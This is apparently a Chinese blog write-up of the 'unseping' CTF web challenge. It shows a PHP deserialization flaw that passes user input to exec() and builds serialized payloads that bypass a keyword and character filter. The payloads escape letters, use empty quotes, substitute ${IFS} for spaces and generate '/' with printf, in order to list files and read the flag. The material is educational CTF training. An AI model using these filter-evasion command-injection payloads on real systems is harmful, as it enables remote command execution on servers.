参考:CTFer成长记录——CTF之Web专题·攻防世界—unseping - MiracleWolf - 博客园 (cnblogs.com)
源码:
<?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST['ctf']; @unserialize(base64_decode($ctf)); ?>
需了解的知识点
1.mixed call_user_func_array ( callable $callback , array $param_arr )
三种使用方法
1.调用函数
callable $callback传入函数名为函数名
array $param_arr 传入数组为参数
2.调用类内部方法
callable $callback传入数组,0位置为类名(静态类或对象),1位置为方法
array $param_arr 传入数组为参数
2.$(),printf_r
1.printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。
2.在bash中,$( )与` `(反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。
本题主要解决的是waf函数,也就是对空格,ls,cat等的过滤
思路1:
换行符\绕过l\s(preg_match_all的绕过)
<?php class ease{ private $method="ping"; private $args=array("l\s"); } $a=new ease(); // echo serialize($a); echo base64_encode(serialize($a));
思路2:
空字符l''s(利用bash特性不太懂)
<?php class ease{ private $method="ping"; private $args=array("l''s"); } $a=new ease(); // echo serialize($a); echo base64_encode(serialize($a));
思路3:
找的替代命令(dir没被禁,还可用echo *空格用${IFS}替代)
列出目录内容的“ ls”命令的替代方法 (ubunlog.com)
<?php class ease{ private $method="ping"; private $args=array("dir"); } $a=new ease(); // echo serialize($a); echo base64_encode(serialize($a));
通过以上方法的得到信息
flag文件在flag_1s_here文件夹里但/被过滤了
cat flag_1s_here/*
这时需要$()和printf来绕过\的过率
$(printf${IFS}"\57")
最终payload
c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")*
还可以用nl替代cat
nl${IFS}fl\ag_1s_here$(printf${IFS}"\57")*
<?php class ease{ private $method="ping"; private $args=array('c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")*'); } $a=new ease(); // echo serialize($a); echo base64_encode(serialize($a));